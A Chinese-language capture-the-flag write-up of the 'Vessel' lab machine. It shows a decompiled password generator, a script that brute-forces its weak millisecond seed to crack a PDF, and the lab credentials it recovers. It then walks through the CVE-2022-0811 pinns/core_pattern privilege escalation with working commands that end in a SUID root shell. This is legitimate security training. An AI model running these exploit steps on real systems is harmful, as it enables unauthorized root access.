# uncompyle6 version 3.9.0# Python bytecode version base 3.7.0 (3394)# Decompiled from: Python 3.9.1+ (default, Feb  5 2021, 13:46:56) # [GCC 10.2.1 20210110]# Embedded file name: passwordGenerator.pyfrom PySide2.QtCore import *from PySide2.QtGui import *from PySide2.QtWidgets import *from PySide2 import QtWidgetsimport pyperclipclass Ui_MainWindow(object):    def setupUi(self, MainWindow):        if not MainWindow.objectName():            MainWindow.setObjectName('MainWindow')        MainWindow.resize(560, 408)        self.centralwidget = QWidget(MainWindow)        self.centralwidget.setObjectName('centralwidget')        self.title = QTextBrowser(self.centralwidget)        self.title.setObjectName('title')        self.title.setGeometry(QRect(80, 10, 411, 51))        self.textBrowser_2 = QTextBrowser(self.centralwidget)        self.textBrowser_2.setObjectName('textBrowser_2')        self.textBrowser_2.setGeometry(QRect(10, 80, 161, 41))        self.generate = QPushButton(self.centralwidget)        self.generate.setObjectName('generate')        self.generate.setGeometry(QRect(140, 330, 261, 51))        self.PasswordLength = QSpinBox(self.centralwidget)        self.PasswordLength.setObjectName('PasswordLength')        self.PasswordLength.setGeometry(QRect(30, 130, 101, 21))        self.PasswordLength.setMinimum(10)        self.PasswordLength.setMaximum(40)        self.copyButton = QPushButton(self.centralwidget)        self.copyButton.setObjectName('copyButton')        self.copyButton.setGeometry(QRect(460, 260, 71, 61))        self.textBrowser_4 = QTextBrowser(self.centralwidget)        self.textBrowser_4.setObjectName('textBrowser_4')        self.textBrowser_4.setGeometry(QRect(190, 170, 141, 41))        self.checkBox = QCheckBox(self.centralwidget)        self.checkBox.setObjectName('checkBox')        self.checkBox.setGeometry(QRect(250, 220, 16, 17))        self.checkBox.setCheckable(True)        self.checkBox.setChecked(False)        self.checkBox.setTristate(False)        self.comboBox = QComboBox(self.centralwidget)        self.comboBox.addItem('')        self.comboBox.addItem('')        self.comboBox.addItem('')        self.comboBox.setObjectName('comboBox')        self.comboBox.setGeometry(QRect(350, 130, 161, 21))        self.textBrowser_5 = QTextBrowser(self.centralwidget)        self.textBrowser_5.setObjectName('textBrowser_5')        self.textBrowser_5.setGeometry(QRect(360, 80, 131, 41))        self.password_field = QLineEdit(self.centralwidget)        self.password_field.setObjectName('password_field')        self.password_field.setGeometry(QRect(100, 260, 351, 61))        MainWindow.setCentralWidget(self.centralwidget)        self.statusbar = QStatusBar(MainWindow)        self.statusbar.setObjectName('statusbar')        MainWindow.setStatusBar(self.statusbar)        self.retranslateUi(MainWindow)        QMetaObject.connectSlotsByName(MainWindow)    def retranslateUi(self, MainWindow):        MainWindow.setWindowTitle(QCoreApplication.translate('MainWindow', 'MainWindow', None))        self.title.setDocumentTitle('')        self.title.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">n<html><head><meta name="qrichtext" content="1" /><style type="text/css">np, li { white-space: pre-wrap; }n</style></head><body style=" font-family:'MS Shell Dlg 2'; font-size:8.25pt; font-weight:400; font-style:normal;">n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:20pt;">Secure Password Generator</span></p></body></html>', None))        self.textBrowser_2.setDocumentTitle('')        self.textBrowser_2.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">n<html><head><meta name="qrichtext" content="1" /><style type="text/css">np, li { white-space: pre-wrap; }n</style></head><body style=" font-family:'MS Shell Dlg 2'; font-size:8.25pt; font-weight:400; font-style:normal;">n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Password Length</span></p></body></html>', None))        self.generate.setText(QCoreApplication.translate('MainWindow', 'Generate!', None))        self.copyButton.setText(QCoreApplication.translate('MainWindow', 'Copy', None))        self.textBrowser_4.setDocumentTitle('')        self.textBrowser_4.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">n<html><head><meta name="qrichtext" content="1" /><style type="text/css">np, li { white-space: pre-wrap; }n</style></head><body style=" font-family:'MS Shell Dlg 2'; font-size:8.25pt; font-weight:400; font-style:normal;">n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Hide Password</span></p></body></html>', None))        self.checkBox.setText('')        self.comboBox.setItemText(0, QCoreApplication.translate('MainWindow', 'All Characters', None))        self.comboBox.setItemText(1, QCoreApplication.translate('MainWindow', 'Alphabetic', None))        self.comboBox.setItemText(2, QCoreApplication.translate('MainWindow', 'Alphanumeric', None))        self.textBrowser_5.setDocumentTitle('')        self.textBrowser_5.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">n<html><head><meta name="qrichtext" content="1" /><style type="text/css">np, li { white-space: pre-wrap; }n</style></head><body style=" font-family:'MS Shell Dlg 2'; font-size:8.25pt; font-weight:400; font-style:normal;">n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:16pt;">characters</span></p></body></html>', None))        self.password_field.setText('')class MainWindow(QMainWindow, Ui_MainWindow):    def __init__(self):        super(MainWindow, self).__init__()        self.setupUi(self)        self.setFixedSize(QSize(550, 400))        self.setWindowTitle('Secure Password Generator')        self.password_field.setReadOnly(True)        self.passlen()        self.chars()        self.hide()        self.gen()    def passlen(self):        self.PasswordLength.valueChanged.connect(self.lenpass)    def lenpass(self, l):        global value        value = l    def chars(self):        self.comboBox.currentIndexChanged.connect(self.charss)    def charss(self, i):        global index        index = i    def hide(self):        self.checkBox.stateChanged.connect(self.status)    def status(self, s):        global status        status = s == Qt.Checked    def copy(self):        self.copyButton.clicked.connect(self.copied)    def copied(self):        pyperclip.copy(self.password_field.text())    def gen(self):        self.generate.clicked.connect(self.genButton)    def genButton(self):        try:            hide = status            if hide:                self.password_field.setEchoMode(QLineEdit.Password)            else:                self.password_field.setEchoMode(QLineEdit.Normal)            password = self.genPassword()            self.password_field.setText(password)        except:            msg = QMessageBox()            msg.setWindowTitle('Warning')            msg.setText('Change the default values before generating passwords!')            x = msg.exec_()        self.copy()    def genPassword(self):        length = value        char = index        if char == 0:            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'        else:            if char == 1:                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'            else:                if char == 2:                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'                else:                    try:                        qsrand(QTime.currentTime().msec())                        password = ''                        for i in range(length):                            idx = qrand() % len(charset)                            nchar = charset[idx]                            password += str(nchar)                    except:                        msg = QMessageBox()                        msg.setWindowTitle('Error')                        msg.setText('Error while generating password!, Send a message to the Author!')                        x = msg.exec_()                return passwordif __name__ == '__main__':    app = QtWidgets.QApplication()    mainwindow = MainWindow()    mainwindow.show()    app.exec_()# okay decompiling passwordGenerator.pyc

关键代码是下面的生成密码函数

def genPassword(self):        length = value        char = index        if char == 0:            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'        else:            if char == 1:                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'            else:                if char == 2:                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'                else:                    try:                        qsrand(QTime.currentTime().msec())                        password = ''                        for i in range(length):                            idx = qrand() % len(charset)                            nchar = charset[idx]                            password += str(nchar)                    except:                        msg = QMessageBox()                        msg.setWindowTitle('Error')                        msg.setText('Error while generating password!, Send a message to the Author!')                        x = msg.exec_()                return password

看到此函数恍然大悟,char=0就是ALL Characters,char=1是Alphabetic(字母),char=2是Alphanumeric(字母数字),那根据刚才看到的screenshot.png,合理推测第三行char=index=0,第二行length=value=32。根据password生成逻辑,charset有89个字符,每一位都从这89个字符中用qrand()随机一个,那么32位的password就有89的32次方种可能。但是qsrand(QTime.currentTime().msec())中的.msec()返回时间的毫秒部分,且范围是0-999,所以随机数种子只有1000种可能,可以爆破。

爆破脚本如下(由于Linux和Windows的python种Qt库可能不太一样,所以需在Windows下运行脚本,在Linux下运行会找不到pdf密码,而且passwordGenerator也是Windows程序)

from PySide2.QtCore import qsrand, qranddef genPassword(ms: int) -> str:    length = 32    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'    qsrand(ms)    password = ''    for i in range(length):        idx = qrand() % len(charset)        nchar = charset[idx]        password += str(nchar)    return passwordpasswords = [genPassword(i) for i in range(1000)]with open('generated.txt', 'w') as f:    f.write('n'.join(passwords))

把刚生成的txt文件当作字典,用pdfcrack爆破,找到密码

┌──(root💀kali)-[~/Desktop]└─# pdfcrack -f notes.pdf -w generated.txtPDF version 1.6Security Handler: StandardV: 2R: 3P: -1028Length: 128Encrypted Metadata: TrueFileID: c19b3bb1183870f00d63a766a1f80e68U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'

打开pdf文件如下

靶机——Vessel

获得用户密码

Ethanb@mPRNSVTjjLKId1T

ssh连上

靶机——Vessel

用如下命令查询拥有suid权限的文件

ethan@vessel:~$ find / -perm -u=s -type f 2>/dev/null/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/fusermount/usr/bin/passwd/usr/bin/gpasswd/usr/bin/sudo/usr/bin/umount/usr/bin/newgrp/usr/bin/chfn/usr/bin/at/usr/bin/chsh/usr/bin/mount/usr/bin/su/usr/bin/pinns

最后一个/usr/bin/pinns最可疑,google一下pinns exploit,看到如下文章

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

七、CVE-2022-0811

漏洞产生的应用是CRI-O(一个基于Kubernetes的实时容器引擎),漏洞名称叫cr8escape

在CRI-O版本1.19,pinns支持sysctl(system control),即可以被用来设置内核参数值,而且不需要任何认证,命令格式如下

内核参数:https://docs.kernel.org/admin-guide/sysctl/kernel.html

pinns -s kernel_parameter1=value1+kernel_parameter2=value2

其中kernel_parameter1kernel_parameter2是两个参数名,两个赋值语句中间用“+”连接,pinns只检查kernel_parameter1以确保是一个安全的内核参数,kernel_parameter2可以被设置为任意的内核参数

用如下命令查看CRI-O版本是1.19.6,属于漏洞覆盖范围

ethan@vessel:~$ crio --versioncrio version 1.19.6Version:       1.19.6GitCommit:     c12bb210e9888cf6160134c7e636ee952c45c05aGitTreeState:  cleanBuildDate:     2022-03-15T18:18:24ZGoVersion:     go1.15.2Compiler:      gcPlatform:      linux/amd64Linkmode:      dynamic

参考上面crowdstrike的CVE分析文章,文章中用的内核参数是kernel.shm_rmid_forcedkernel.core_pattern

靶机——Vessel

kernel.shm_rmid_forced=1表示没有用户占用、且进程已被终止的共享内存段会被自动销毁

靶机——Vessel

kernel.core_pattern的第一个字符如果是“|”,那么后面的字符串就会当作命令被执行

此处有个概念:内核转储(coredump),在进程发生问题时保存进程的运行状态

参考:https://www.jianshu.com/p/191a62f4f6b9?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

盘一盘逻辑:某一进程发生问题→触发内核转储→内核转储会根据kernel.core_pattern的设置确定存储信息的文件→kernel.core_pattern第一个字符“|”后的字符串会当作命令被执行

中间的部分操作系统自动处理不用管,只需要操作第一步和最后一步,即想办法让某一进程出问题,并且预先设置好kernel.core_pattern的值,便于执行命令

让某一进程出问题:可以用kill进程的方式实现

预先设置kernel.core_pattern的值:此处是pinns提供了修改内核参数的功能,所以用pinns去设置,格式如下

pinns -s kernel_parameter1=value1+kernel_parameter2=value2

注:保证kernel_parameter1=value1是合法赋值,kernel_parameter2位置是kernel.core_patternvalue2位置是“|”开头,后面跟想要执行的命令或者脚本文件

于是用构造如下命令

pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/tmp/exp.sh #'

先查看想要修改的两个文件

ethan@vessel:~$ cat /proc/sys/kernel/core_pattern /proc/sys/kernel/shm_rmid_forced|/usr/share/apport/apport %p %s %c %d %P %E0

执行构造好的命令,发现如下报错,并且查看目标文件,没有变化

ethan@vessel:~$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/tmp/exp.sh #'[pinns:e]: Path for pinning namespaces not specified: Invalid argument

查看pinnx源码,发现报错的原因

pinns源码:https://github.com/cri-o/cri-o/blob/v1.19.1/pinns/src/pinns.c

发现如下两个逻辑代码段

  static const struct option long_options[] = {      {"help", no_argument, NULL, 'h'},      {"uts", optional_argument, NULL, 'u'},      {"ipc", optional_argument, NULL, 'i'},      {"net", optional_argument, NULL, 'n'},      {"user", optional_argument, NULL, 'U'},      {"cgroup", optional_argument, NULL, 'c'},      {"dir", required_argument, NULL, 'd'},      {"filename", required_argument, NULL, 'f'},      {"sysctl", optional_argument, NULL, 's'},  };
  if (!pin_path) {    pexit("Path for pinning namespaces not specified");  }  if (!filename) {    pexit("Filename for pinning namespaces not specified");  }  if (directory_exists_or_create(pin_path) < 0) {    nexitf("%s exists but is not a directory", pin_path);  }  if (num_unshares == 0) {    nexit("No namespace specified for pinning");  }  if (unshare(unshare_flags) < 0) {    pexit("Failed to unshare namespaces");  }

结合全部代码分析,整体要求就是:

1.要有-d参数,且参数值指定目录要存在或者可以被创建;

2.要有-f参数,参数值任意,但不能为空;

3.-u -i -n -U四个参数至少有一个(此处笔者只试了一个-U,理论上保证num_unshares不为0即可)。

重新构造,执行如下命令

ethan@vessel:~$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/dev/shm/exp.sh #' -f file -d /dev/shm -U[pinns:e]: Failed to bind mount ns: /proc/self/ns/user: Operation not permitted

虽有报错,但不影响,再次查看目标文件内容,修改成功

ethan@vessel:~$ cat /proc/sys/kernel/core_pattern /proc/sys/kernel/shm_rmid_forced|/dev/shm/exp.sh #1

/dev/shm/exp.sh写入想要执行的代码(此处就是把/bin/bash复制到/tmp/wa0er,并给予4755权限,也就是suid和755权限),并给/dev/shm/exp.sh添加执行权限

ethan@vessel:~$ echo -e '#!/bin/bashncp /bin/bash /tmp/wa0ernchown root:root /tmp/wa0ernchmod 4755 /tmp/wa0er' | tee /dev/shm/exp.sh#!/bin/bashcp /bin/bash /tmp/wa0erchown root:root /tmp/wa0erchmod 4755 /tmp/wa0erethan@vessel:~$ chmod +x /dev/shm/exp.sh

执行sleep命令,并用killall终止进程,-s SIGSEGV表示访问未分配给自己的内存,此处可看到回显(core dumped),即进入内核转储

ethan@vessel:~$ sleep 100&[1] 1676ethan@vessel:~$ killall -s SIGSEGV sleep[1]+  Segmentation fault      (core dumped) sleep 100

查看/tmp/wa0er文件权限,已有suid权限

ethan@vessel:~$ ls -l /tmp/wa0er-rwsr-xr-x 1 root root 1183448 Mar 27 13:07 /tmp/wa0er

执行/tmp/wa0er -p提权,成功获取root权限

靶机——Vessel

Over!

靶机——Vessel

参考

https://blog.csdn.net/qq_45894840/article/details/127844085

https://0xdf.gitlab.io/2023/03/25/htb-vessel.html

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日21:57:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机——Vesselhttps://cn-sec.com/archives/1662730.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息